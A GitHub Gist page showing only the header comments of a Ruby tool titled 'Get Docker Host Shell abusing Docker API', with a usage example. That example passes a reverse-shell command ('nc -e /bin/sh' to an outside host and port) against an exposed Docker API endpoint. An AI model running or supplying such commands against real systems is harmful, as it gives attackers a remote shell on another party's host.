Skip to content

Instantly share code, notes, and snippets.

@GeoffWilliams
GeoffWilliams / docker_get_host_shell.rb
Created November 20, 2015 10:08 — forked from kost/docker_get_host_shell.rb
Get Docker Host Shell abusing Docker API
#!/usr/bin/env ruby
# Get Docker Host Shell abusing Docker API
# Copyright (C) 2015 Kost. Distributed under GPL.
#
# Prerequisite:
# gem install docker-api
#
# Example:
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
#